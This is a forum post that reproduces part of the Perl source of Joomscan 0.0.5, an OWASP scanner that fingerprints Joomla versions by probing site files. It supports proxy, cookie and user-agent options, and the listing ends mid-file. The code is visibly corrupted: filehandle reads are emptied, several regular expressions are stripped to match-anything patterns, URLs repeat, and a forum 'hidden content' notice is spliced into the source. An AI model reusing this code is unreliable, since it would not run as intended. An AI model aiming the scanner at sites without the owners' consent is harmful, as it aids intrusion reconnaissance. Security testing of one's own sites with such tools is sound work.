Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked Joomscan 0.0.5 - Fix bug with filesystem location


sQuo

Recommended Posts

[LENGUAJE=perl]#!/usr/bin/env perl

#=================================================================

# OWASP Joomla! Vulnerability Scanner

# © 2008-2099 Aung Khant, http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab'>http://yehg.net/lab

# YGN Ethical Hacker Group, YanGoN, Myanmar

# Update by: Web-Center, http://web-center.si'>http://web-center.si'>http://web-center.si'>http://web-center.si'>http://web-center.si'>http://web-center.si'>http://web-center.si'>http://web-center.si

# Updated by: Felipe Molina (@felmoltor) on February 2014

# DISCLAIMER:

#

# This scanner is intended only for testing your own Joomla web sites.

# The author nor the yehg.net is not responsible for any damages you use this tool.

# Results found using this tool are not guaranteed for accuracies.

#

#=================================================================

 

use warnings;

use strict;

use HTTP::Request::Common;

use LWP::UserAgent;

use Getopt::Std;

use Time::localtime;

use Time::Piece;

use Switch;

use threads;

use threads::shared;

use Digest::MD5 qw(md5_hex);

use Encode qw(encode_utf8);

use HTML::Entities;

use File::Basename;

 

####### [Vars] #######

 

my(%args,%JOOMSCAN,$start_time,$end_time,$ltime,$today,$now,$urlfile,$txtfile,$outfile,$server_headers);

my($found,$rfifound,$target,$domain_str,$base_url);

 

my $url:shared = '';

my $admin_dir:shared = '';

my $version:shared = '';

my $exact_version_found:shared = 0;

my $exact_version:shared = '';

my @version_min_range:shared = ();

my @version_max_range:shared = ();

my $biggest_version_min = 0;

my $lowest_version_max = 0;

my $H200bypass = '';

 

my $J_GENERIC_HOLES = 0;

my $J_CORE_HOLES = 0;

my $J_CORE_MODULES_HOLES = 0;

my $J_3rdParties_HOLES = 0;

 

my $J_XSS_HOLES = 0;

my $J_SQLin_HOLES = 0;

my $J_FI_HOLES = 0;

my $J_INFO_HOLES = 0;

my $J_DirTr_HOLES = 0;

my $J_OTHER_HOLES = 0;

 

 

####### [/Vars] #######

 

 

getopts("u:p:x:o:r:v:c:s:n:g:", \%args);

 

# FMT:

# This is to allow joomscan being executed from everywere in your directory filesystem

my $EXECDIR = dirname($0);

 

$JOOMSCAN{joomdbfile} = "$EXECDIR/joomscandb.txt";

$JOOMSCAN{joomdbinfofile} = "$EXECDIR/joomscandb-info.txt";

$JOOMSCAN{scanner_update_url} = 'http://yehg.net/lab/pr0js/tools/joomscan.php?'.time();

$JOOMSCAN{scanner_update_note_url} = 'http://yehg.net/lab/pr0js/tools/joomscan.pl-update-note.php?'.time();

$JOOMSCAN{scanner_download_url} = 'http://yehg.net/lab/pr0js/tools/joomscan-latest.zip?'.time();

$JOOMSCAN{db_update_url} = 'http://web-center.si/joomscan/joomscandb.php?'.time();

$JOOMSCAN{db_info_url} = 'http://web-center.si/joomscan/joomscandb-info.php?'.time();

$JOOMSCAN{scanner_version} = '0.0.5';

$JOOMSCAN{author} = reverse('ten.ghey[ta]tnahkgnua ,tnahK gnuA');

$JOOMSCAN{bug_report_email} = 'ten.ghey@nacsmooj';

 

 

$start_time = time();

$end_time = 0;

$now = ctime();

$ltime = localtime; $today = $ltime->mdy("/");

if ($0 =~ /:\\/g){$0 = 'joomscan.pl';}

 

open(JU, $JOOMSCAN{joomdbinfofile}) || die "Can't open $JOOMSCAN{joomdbinfofile} : $!";

my @content = ;

chomp(@content);

my($dbentry,$lastupdate) = @content;

close(JU);

 

if(($ARGV[0]) && index($ARGV[0],"check") >= 0){check();}

if(($ARGV[0]) && index($ARGV[0],"update") >= 0){update();}

if(($ARGV[0]) && index($ARGV[0],"download") >= 0){download();}

if(($ARGV[0]) && index($ARGV[0],"defense") >= 0){defense();}

if(($ARGV[0]) && index($ARGV[0],"story") >= 0){story();}

if( $#ARGV eq 1 && ($ARGV[0]) && index($ARGV[0],"read") >= 0){doc_read($ARGV[1]);}

 

####### [sign Agreement] ######

sub make_agree

{

print qq{

Welcome to the

OWASP Joomla! Vulnerability Scanner End-User License Agreement!

 

[!] Before running the OWASP Joomla! Vulnerability Scanner,

[!] you must agree to the following:

1. The scanner is to be run only on your own or your clients' sites

2. The scanner is released free of charge under GPL v3 and

has no guarantee for its accuracies.

3. OWASP or the author assumes no responsibilities for

your illegal misuse.

 

[!] (y)es or (n)o - };

my $inp = ;

chomp($inp);

if($inp eq 'y')

{

print qq{

[!] You have signed the EULA of the OWASP Vulnerability Scanner.

Thank you.

 

Please wait ...\n"};

open(AG,">$EXECDIR/doc/AGREEMENT")|| die("$!");

print AG "ATTENTION:\nYou have signed agreement for legal use on the OWASP Vulnerability Scanner.";

close (AG);

sleep(5);

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

 

}else{exit 99;} undef($inp);

}

open(AG,"$EXECDIR/doc/AGREEMENT") || make_agree();

close(AG);

####### [/sign Agreement] ######

####### [Force Upgrade] ######

use DirHandle;

 

my $dir_check = new DirHandle "$EXECDIR/report/assets";

if (!defined $dir_check)

{

print qq{

[!] You're updating from version older versions, which is now deprecated.

[!] Use: svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan/trunk'>

This is the hidden content, please
joomscan

[!] or download a full package version $JOOMSCAN{scanner_version}

[!] Would you like me to download it? [y/n] };

my $uans = ;

chomp($uans);

if($uans eq 'y')

{

download();

}

else

{

system("mkdir report");

print "[!] Please find reports under report/ directory.\n"

}

undef $uans;

}

else

{ ## free it

undef $dir_check;

}

####### [/Force Upgrade] ######

 

# if you're ever lazy to check, uncomment this to autoupdate

#auto_update();

 

 

if (!$args{u}) {usage();}

$url = $args{u};

if ($url !~ /:\/\//){$url = 'http://'.$url;}

if ($url =~ /\/$/){$url = substr($url,0,rindex($url,'/'));}

if ($url =~ /\?/g){$url = substr($url, 0, index($url,'?'));}

 

$version = '';

 

$urlfile = $url;

$urlfile =~ s/http:\/\///gi;

$urlfile =~ s/https:\/\///gi;

$urlfile =~ s/\//_/g;

if (length($urlfile)>40){$urlfile = substr($urlfile,0,40).'...';}

$urlfile .= '-joexploit.htm';

$txtfile = $urlfile;

$urlfile = "$EXECDIR/report/".$urlfile;

$txtfile =~ s/\.htm/\.txt/i;

$txtfile = "$EXECDIR/report/".$txtfile;

$outfile = ($args{o} && $args{o} eq 't')?$txtfile:$urlfile;

 

my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);

my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3';

my $cookie = '';

my $proxy = '';

if($args{g})

{

$uagent = $args{g};

}

if($args{c})

{

$cookie = $args{c};

$ua->cookie_jar({});

$ua->default_header('Cookie'=> "$cookie");

}

if($args{x})

{

$proxy = $args{x};

if($proxy !~ /:\/\//){$proxy = 'http://'.$proxy;}

$ua->proxy(['http', 'ftp'],$proxy );

}

$ua->agent($uagent);

$ua->default_header('Referer'=> "http://$url/");

$ua->timeout(30);

 

 

### [Fingerprinting KB] ###

 

sub fprint_generic

{

lock($version);

my $htmlContent = shift;

if (

($htmlContent =~ m/\n/gi) ||

(check_if_exists("$url".$admin_dir."templates/joomla_admin/images/security.png") =~ /200/g) ||

(check_if_exists("$url/language/english.xml") =~ /200/g)

||

($ua->get("$url/index.php?option=com_h40xr")->content =~ /The\spage\syou\sare trying\sto\saccess\sdoes\snot\sexist/gi)

)

{

$version .= "~Generic version family ....... [1.0.x]\n\n";

}

elsif ( ($target->content =~ m/Joomla!\s1.5\s-\sOpen\sSource\sContent\sManagement/gi) ||

(check_if_exists("$url".$admin_dir."templates/khepri/images/j_login_lock.jpg") =~ /200/g) ||

(check_if_exists("$url".$admin_dir."templates/khepri/images/j_button1_next.png") =~ /200/g) ||

($ua->get("$url/index.php?option=com_h40xr")->content =~ /404\-\sComponent\snot\s found/gi)

)

{

$version .= "~Generic version family ....... [1.5.x]\n\n";

}

 

}

sub fprint_meta10x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

my $htmlContent = shift;

if (

($htmlContent =~ m/Joomla!\s\-\sCopyright\s\(C\)\s2005\sOpen\sSource\sMatters/gi)

&& ($htmlContent =~ m/\n/gi)

)

{

$version .= "~1.0.x meta tags revealed [1.0.0 - 1.0.8]\n";

push @version_min_range, 0;push @version_max_range, 8;

}

elsif (($htmlContent =~ m/Joomla!\s-\sCopyright\s\(C\)\s2005\s\-\s2006\sOpen\sSource\sMatters/gi)

&& ($htmlContent =~ m/\n/gi)

)

{

$version .= "~1.0.x meta tags revealed [1.0.9 - 1.0.12]\n";

push @version_min_range, 9;push @version_max_range, 12;

}

elsif ( ($htmlContent =~ m/Joomla!\s-\sCopyright\s\(C\)\s2005\s\-\s2007\sOpen\sSource\sMatters/gi)

&& ($htmlContent =~ m/\n/gi)

)

{

$version .= "~1.0.x meta tags revealed [1.0.13 - 1.0.15]\n";

push @version_min_range, 13;push @version_max_range, 15;

}

 

 

}

sub fprint_htac10x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $htac_req = $ua->get("$url/htaccess.txt");

if ($htac_req->status_line =~ /200/g)

{

my $htmlContent = $htac_req->content;

 

if ($htmlContent =~ m/47\s2005\-09\-15\s02\:55\:27Z\srhuk/gi)

{

$version .= "~1.0.x htaccess.txt revealed [1.0.0 - 1.0.2]\n";

push @version_min_range, 0;push @version_max_range, 2;

}

elsif ($htmlContent =~ m/423\s2005\-10\-09\s18\:23\:50Z\sstingrey/gi)

{

$version .= "~1.0.x htaccess.txt revealed 1.0.3\n";

$exact_version_found = 1;$exact_version = '1.0.3';

}

elsif ($htmlContent =~ m/1005\s2005\-11\-13\s17\:33\:59Z\sstingrey/gi)

{

$version .= "~1.0.x htaccess.txt revealed [1.0.4 - 1.0.5]\n";

push @version_min_range, 4;push @version_max_range, 5;

}

elsif ($htmlContent =~ m/1570\s2005\-12\-29\s05\:53\:33Z\seddieajau/gi)

{

$version .= "~1.0.x htaccess.txt revealed [1.0.6 - 1.0.7]\n";

push @version_min_range, 6;push @version_max_range, 7;

}

elsif ($htmlContent =~ m/2368\s2006\-02\-14\s17\:40\:02Z\sstingrey/gi)

{

$version .= "~1.0.x htaccess.txt revealed [1.0.8 - 1.0.9]\n";

push @version_min_range, 8;push @version_max_range, 9;

}

elsif ($htmlContent =~ m/4085\s2006\-06\-21\s16\:03\:54Z\sstingrey/gi)

{

$version .= "~1.0.x htaccess.txt revealed 1.0.10\n";

$exact_version_found = 1;$exact_version = '1.0.10';

}

elsif ($htmlContent =~ m/4756\s2006\-08\-25\s16\:07\:11Z\sstingrey/gi)

{

$version .= "~1.0.x htaccess.txt revealed 1.0.11\n";

$exact_version_found = 1;$exact_version = '1.0.11';

}

elsif ($htmlContent =~ m/5973\s2006\-12\-11\s01\:26\:33Z\srobs/gi)

{

$version .= "~1.0.x htaccess.txt revealed 1.0.12\n";

$exact_version_found = 1;$exact_version = '1.0.12';

}

elsif ($htmlContent =~ m/5975\s2006\-12\-11\s01\:26\:33Z\srobs/gi)

{

$version .= "~1.0.x htaccess.txt revealed [1.0.13 - 1.0.15]\n";

push @version_min_range, 13;push @version_max_range, 15;

}

}

}

sub fprint_config_dist10x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/configuration.php-dist");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/47\s2005\-09\-15\s02\:55\:27Z\srhuk/gi)

{

$version .= "~1.0.x configuration.php-dist revealed 1.0.0\n";

$exact_version_found = 1;$exact_version = '1.0.0';

}

elsif ($htmlContent =~ m/217\s2005\-09\-21\s15\:15\:58Z\sstingrey/gi)

{

$version .= "~1.0.x configuration.php-dist revealed [1.0.1 - 1.0.2]\n";

push @version_min_range, 0;push @version_max_range, 2;

}

elsif ($htmlContent =~ m/506\s2005\-10\-13\s05\:49\:24Z\sstingrey/gi)

{

$version .= "~1.0.x configuration.php-dist revealed [1.0.3 - 1.0.7]\n";

push @version_min_range, 3;push @version_max_range, 7;

}

elsif ($htmlContent =~ m/2622\s2006\-02\-26\s04\:16\:09Z\sstingrey/gi)

{

$version .= "~1.0.x configuration.php-dist revealed 1.0.8\n";

$exact_version_found = 1;$exact_version = '1.0.0';

}

elsif ($htmlContent =~ m/3754\s2006\-05\-31\s12\:08\:37Z\sstingrey/gi)

{

$version .= "~1.0.x configuration.php-dist revealed [1.0.9 - 1.0.10]\n";

push @version_min_range, 9;push @version_max_range,10;

}

elsif ($htmlContent =~ m/4802\s2006\-08\-28\s16\:18\:33Z\sstingrey/gi)

{

$version .= "~1.0.x configuration.php-dist revealed [1.0.11 - 1.0.12]\n";

push @version_min_range, 11;push @version_max_range, 12;

}

elsif ($htmlContent =~ m/7424\s2007\-05\-17\s15\:56\:10Z\srobs/gi)

{

$version .= "~1.0.x configuration.php-dist revealed [1.0.13 - 1.0.15]\n";

push @version_min_range, 13;push @version_max_range, 15;

}

 

 

}

}

 

sub fprint_extended_10x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/includes/js/joomla.javascript.js");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

if ($htmlContent =~ m/47\s2005\-09\-15\s02:55:27Z\srhuk/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed 1.0.0\n";

$exact_version_found = 1;$exact_version = '1.0.0';

}

elsif ($htmlContent =~ m/199\s2005\-09\-20\s13:29:10Z\sstingrey/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed [1.0.1 - 1.0.7]\n";

push @version_min_range, 1;push @version_max_range, 7;

}

elsif ($htmlContent =~ m/2316\s2006\-02\-12\s17:41:33Z\sstingrey/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed 1.0.8\n";

$exact_version_found = 1;$exact_version = '1.0.8';

}

elsif ($htmlContent =~ m/3562\s2006\-05\-20\s12:27:49Z\sstingrey/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed [1.0.9 - 1.0.11]\n";

push @version_min_range, 9;push @version_max_range, 11;

}

elsif ($htmlContent =~ m/5689\s2006\-11\-09\s00:55:42Z\sSaka/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed 1.0.12\n";

$exact_version_found = 1;$exact_version = '1.0.12';

}

elsif ($htmlContent =~ m/5691\s2006\-11\-09\s00:55:42Z\sSaka/gi)

{

$version .= "~1.0.x joomla.javascript.js revealed [1.0.13 - 1.0.15]\n";

push @version_min_range, 13;push @version_max_range, 15;

}

}

 

$req = $ua->get("$url/mambots/content/moscode.xml");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

if ($htmlContent =~ /(.*?)/gi)

{

$htmlContent = $1;

}

else

{

return;

}

 

if ($htmlContent =~ m/copyleft/gi)

{

$version .= "~1.0.x moscode.xml revealed [1.0.0 - 1.0.13]\n";

push @version_min_range,0 ;push @version_max_range, 13;

}

elsif ($htmlContent =~ m/licenses/gi)

{

$version .= "~1.0.x moscode.xml revealed [1.0.14 - 1.0.15]\n";

push @version_min_range, 14;push @version_max_range, 15;

}

 

}

 

$req = $ua->get("$url/mambots/editors/tinymce.xml");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/Load\sCSS\sclasses/g)

{

$version .= "~1.0.x tinymce.xml revealed [1.0.0 - 1.0.5]\n";

push @version_min_range, 0;push @version_max_range, 5;

}

elsif ($htmlContent =~ m/By\sdefault\sthe\sbot/g)

{

$version .= "~1.0.x tinymce.xml revealed [1.0.6 - 1.0.15]\n";

push @version_min_range, 6;push @version_max_range, 15;

}

 

}

 

}

sub fprint_htac15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $htac_req = $ua->get("$url/htaccess.txt");

if ($htac_req->status_line =~ /200/g)

{

my $htmlContent = $htac_req->content;

 

if ($htmlContent =~ m/4094\s2006\-06\-21\s18\:35\:46Z\sstingrey/gi)

{

$version .= "~1.5.x htaccess.txt revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta(12-Oct-2006)';

}

if ($htmlContent =~ m/9795\s2008\-01\-02\s11:33:07Z\srmuilwijk/gi)

{

$version .= "~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008)\n";

$exact_version_found = 1;$exact_version = '1.5.0-stable(21-January-2008)';

}

elsif ($htmlContent =~ m/9975\s2008\-01\-30\s17\:02\:11Z\sircmaxell/gi)

{

$version .= "~1.5.x htaccess.txt revealed [1.5.1 - 1.5.3]\n";

push @version_min_range, 1;push @version_max_range, 3;

}

elsif ($htmlContent =~ m/10492\s2008\-07\-02\s06\:38\:28Z\sircmaxell/gi)

{

$version .= "~1.5.x htaccess.txt revealed [1.5.4 - 1.5.14]\n";

push @version_min_range, 4;push @version_max_range, 14;

}

 

}

}

sub fprint_config_dist15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/configuration.php-dist");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/5361\s2006\-10\-07\s19\:21\:08Z\sJinx/gi)

{

$version .= "~1.5.x configuration.php-dist revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta';

}

if ($htmlContent =~ m/9764\s2007\-12\-30\s07:48:11Z\sircmaxell/gi)

{

$version .= "~1.5.x configuration.php-dist revealed 1.5.0-stable(21-January-2008)\n";

$exact_version_found = 1;$exact_version = '1.5.0-stable';

}

elsif ($htmlContent =~ m/9991\s2008\-02\-05\s22\:13\:22Z\sircmaxell/gi)

{

$version .= "~1.5.x configuration.php-dist revealed [1.5.1 - 1.5.8]\n";

push @version_min_range, 1;push @version_max_range, 8;

}

elsif ($htmlContent =~ m/11409\s2009\-01\-10\s02\:27\:08Z\swillebil/gi)

{

$version .= "~1.5.x configuration.php-dist revealed 1.5.9\n";

$exact_version_found = 1;$exact_version = '1.5.9';

}

elsif ($htmlContent =~ m/11687\s2009\-03\-11\s17\:49\:23Z\sian/gi)

{

$version .= "~1.5.x configuration.php-dist revealed [1.5.10 - 1.5.14]\n";

push @version_min_range, 10;push @version_max_range, 14;

}

 

}

}

 

sub fprint_enGBxml_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/language/en-GB/en-GB.xml");

 

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

if ($htmlContent =~ /(.*?)/gi)

{

$htmlContent = $1;

}

else

{

return;

}

 

if ($htmlContent =~ m/1\.5\.0/gi)

{

$version .= "~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1]\n";

push @version_min_range, 0;push @version_max_range, 1;

}

elsif ($htmlContent =~ m/1\.5\.2/gi)

{

$version .= "~1.5.x en-GB.xml revealed [1.5.2 - 1.5.6]\n";

push @version_min_range, 2;push @version_max_range, 6;

}

elsif ($htmlContent =~ m/1\.5\.7/gi)

{

$version .= "~1.5.x en-GB.xml revealed 1.5.7\n";

$exact_version_found = 1;$exact_version = '1.5.7';

}

elsif ($htmlContent =~ m/1\.5\.8/gi)

{

$version .= "~1.5.x en-GB.xml revealed 1.5.8\n";

$exact_version_found = 1;$exact_version = '1.5.8';

}

elsif ($htmlContent =~ m/1\.5\.9/gi)

{

$version .= "~1.5.x en-GB.xml revealed [1.5.9 - 1.5.14]\n";

push @version_min_range, 9;push @version_max_range, 14;

}

 

}

}

sub fprint_enGBini_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/language/en-GB/en-GB.ini");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/version\s1\.5\.x\s2005\-10\-30\s14\:10\:00/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta';

}

if ($htmlContent =~ m/9913\s2008\-01\-09\s21:28:35Z\sircmaxell/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008)\n";

$exact_version_found = 1;$exact_version = '1.5.0-stable';

}

elsif ($htmlContent =~ m/9990\s2008\-02\-05\s21\:54\:06Z\sian/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.1\n";

$exact_version_found = 1;$exact_version = '1.5.1';

}

elsif ($htmlContent =~ m/10053\s2008\-02\-21\s18\:57\:54Z\smtk/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.2\n";

$exact_version_found = 1;$exact_version = '1.5.2';

}

elsif ($htmlContent =~ m/10208\s2008\-04\-17\s16\:43\:15Z\sircmaxell/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.3\n";

$exact_version_found = 1;$exact_version = '1.5.3';

}

elsif ($htmlContent =~ m/10498\s2008\-07\-04\s00\:05\:36Z\sian/gi)

{

$version .= "~1.5.x en-GB.ini revealed [1.5.4 - 1.5.7]\n";

push @version_min_range, 4;push @version_max_range, 7;

}

elsif ($htmlContent =~ m/11214\s2008\-10\-26\s01\:29\:04Z\sian/gi)

{

$version .= "~1.5.x en-GB.ini revealed 1.5.8\n";

$exact_version_found = 1;$exact_version = '1.5.8';

}

elsif ($htmlContent =~ m/11391\s2009\-01\-04\s13\:35\:50Z\sian/gi)

{

## Wierd about version 1.5.12

## They modified the file without svn commit

if ($htmlContent =~ m/\%Y\-\%M\-\%D=\%Y\-\%m\-\%d/g)

{

$version .= "~1.5.x en-GB.ini revealed [1.5.12 - 1.5.14]\n";

push @version_min_range, 12;push @version_max_range, 14;

}

else

{

$version .= "~1.5.x en-GB.ini revealed [1.5.9 - 1.5.11]\n";

push @version_min_range, 9;push @version_max_range, 11;

}

 

}

}

}

 

sub fprint_admin_enGBini_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url".$admin_dir."language/en-GB/en-GB.ini");

 

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/2005\-10\-06\s14:45:45/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta';

}

if ($htmlContent =~ m/9869\s2008\-01\-05\s04:00:13Z\smtk/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008)\n";

$exact_version_found = 1;$exact_version = '1.5.0-stable';

}

elsif ($htmlContent =~ m/9990\s2008\-02\-05\s21:54:06Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.1\n";

$exact_version_found = 1;$exact_version = '1.5.1';

}

elsif ($htmlContent =~ m/10122\s2008\-03\-10\s11:58:27Z\swillebil/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.2\n";

$exact_version_found = 1;$exact_version = '1.5.2';

}

elsif ($htmlContent =~ m/10186\s2008\-04\-02\s13:10:12Z\spasamio/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.3\n";

$exact_version_found = 1;$exact_version = '1.5.3';

}

elsif ($htmlContent =~ m/10500\s2008\-07\-04\s06:57:07Z\sircmaxell/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.4\n";

$exact_version_found = 1;$exact_version = '1.5.4';

}

elsif ($htmlContent =~ m/10571\s2008\-07\-21\s01:27:35Z\spasamio/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed [1.5.5 - 1.5.7]\n";

push @version_min_range, 5;push @version_max_range, 7;

 

}

elsif ($htmlContent =~ m/11213\s2008\-10\-25\s12:43:11Z\spasamio/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.8\n";

$exact_version_found = 1;$exact_version = '1.5.8';

}

elsif ($htmlContent =~ m/11391\s2009\-01\-04\s13:35:50Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.9\n";

$exact_version_found = 1;$exact_version = '1.5.9';

}

elsif ($htmlContent =~ m/11667\s2009\-03\-08\s20:32:38Z\swillebil/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.10\n";

$exact_version_found = 1;$exact_version = '1.5.10';

}

elsif ($htmlContent =~ m/11799\s2009\-05\-06\s02:15:50Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed 1.5.11\n";

$exact_version_found = 1;$exact_version = '1.5.11';

}

elsif ($htmlContent =~ m/12308\s2009\-06\-23\s04:05:28Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.ini revealed [1.5.12 - 1.5.14]\n";

push @version_min_range, 12;push @version_max_range, 14;

}

}

}

 

sub fprint_admin_enGBcom_configini_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url".$admin_dir."language/en-GB/en-GB.com_config.ini");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/version\s1.5.x\s2005\-10\-06\s14:45:45/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta';

}

elsif ($htmlContent =~ m/\s9765\s2007\-12\-30\s08:21:02Z\sircmaxell/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]\n";

push @version_min_range, 0;push @version_max_range, 1;

}

elsif ($htmlContent =~ m/10129\s2008\-03\-12\s10:45:50Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.2 - 1.5.3]\n";

push @version_min_range, 2;push @version_max_range, 3;

}

 

elsif ($htmlContent =~ m/10496\s2008\-07\-03\s07:08:39Z\sircmaxell/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.4 - 1.5.6]\n";

push @version_min_range, 4;push @version_max_range, 6;

}

elsif ($htmlContent =~ m/10882\s2008\-08\-31\s17:55:14Z\swillebil/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.7 - 1.5.8]\n";

push @version_min_range, 7;push @version_max_range, 8;

}

elsif ($htmlContent =~ m/11409\s2009\-01\-10\s02:27:08Z\swillebil\sian/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.9\n";

$exact_version_found = 1;$exact_version = '1.5.9';

}

elsif ($htmlContent =~ m/11687\s2009\-03\-11\s17:49:23Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.10\n";

$exact_version_found = 1;$exact_version = '1.5.10';

}

elsif ($htmlContent =~ m/11784\s2009\-04\-24\s17:34:11Z\skdevine/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.11\n";

$exact_version_found = 1;$exact_version = '1.5.11';

}

elsif ($htmlContent =~ m/12308\s2009\-06\-23\s04:05:28Z\sian/gi)

{

$version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.12 - 1.5.14]\n";

push @version_min_range, 12;push @version_max_range, 14;

}

}

}

 

sub fprint_adminlists_html_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $req = $ua->get("$url/libraries/joomla/template/tmpl/adminlists.html");

if ($req->status_line =~ /200/g)

{

my $htmlContent = $req->content;

 

if ($htmlContent =~ m/5062\s2006\-09\-14\s22:43:19Z\seddiea/gi)

{

$version .= "~1.5.x adminlists.html revealed 1.5.0-beta(12-Oct-2006)\n";

$exact_version_found = 1;$exact_version = '1.5.0-beta';

}

elsif ($htmlContent =~ m/9765\s2007\-12\-30\s08:21:02Z\sircmaxell/gi)

{

$version .= "~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]\n";

push @version_min_range, 0;push @version_max_range, 6;

}

elsif ($htmlContent =~ m/10871\s2008\-08\-30\s07:30:33Z\swillebil/gi)

{

$version .= "~1.5.x adminlists.html revealed [1.5.7 - 1.5.14]\n";

push @version_min_range, 7;push @version_max_range, 14;

}

}

}

 

sub fprint_admin_enGB_com_media_15x

{

lock($version); lock(@version_min_range);lock(@version_max_range);

 

my $htmlContent = get_url_content("$url".$admin_dir."language/en-GB/en-GB.com_media.ini");

 

if ($htmlContent =~ m/12540\s2009\-07\-22\s17:34:44Z\sian/i)

{

$version .= "~1.5.x admin enGB com_media revealed [1.5.13 -1.5.14]\n";

push @version_min_range, 13;push @version_max_range, 14;

}

}

 

### [/Fingerprinting KB] ###

 

######### [ROUTINES] #########

 

sub do_HEAD_request

{

my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);

$ua->agent($uagent);

if(defined($proxy) && $proxy ne '')

{

if($proxy !~ /:\/\//){$proxy = 'http://'.$proxy;}

$ua->proxy(['http', 'ftp'],$proxy );

}

my $u = shift;

my $resquest = HEAD "$u";

my $response = $ua->request($resquest);

return $response->status_line;

}

sub check_if_exists

{

my $u = shift;

## $H200bypass is not '', we need to use GET and match

## hash or text

my $c = get_url_content($u);

if($H200bypass ne "")

{

if ($H200bypass =~ /([0-9a-fA-F]{32})/)

{

if(md5hex($c) ne $H200bypass){return 1;}

}

else

{

if($c !~ /$H200bypass/){return 1;}

}

}

else

{

if(do_HEAD_request($u) =~ /(200|301|403)/){return 1;}

}

0;

}

sub do_GET_request

{

my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);

$ua->agent($uagent);

if(defined($proxy) && $proxy ne '')

{

if($proxy !~ /:\/\//){$proxy = 'http://'.$proxy;}

$ua->proxy(['http', 'ftp'],$proxy );

}

my $u = shift;

my $resquest = GET "$u";

my $response = $ua->request($resquest);

my $htmlContent = '';

if($response->status_line =~ /200/)

{

return $response->content;

}

else

{

return '';

}

 

}

 

sub get_xml_version

{

my $htmlContent = shift;

if ($htmlContent =~ /(.*?)/gi)

{

return $1;

}

else {

return '';

}

}

sub get_title

{

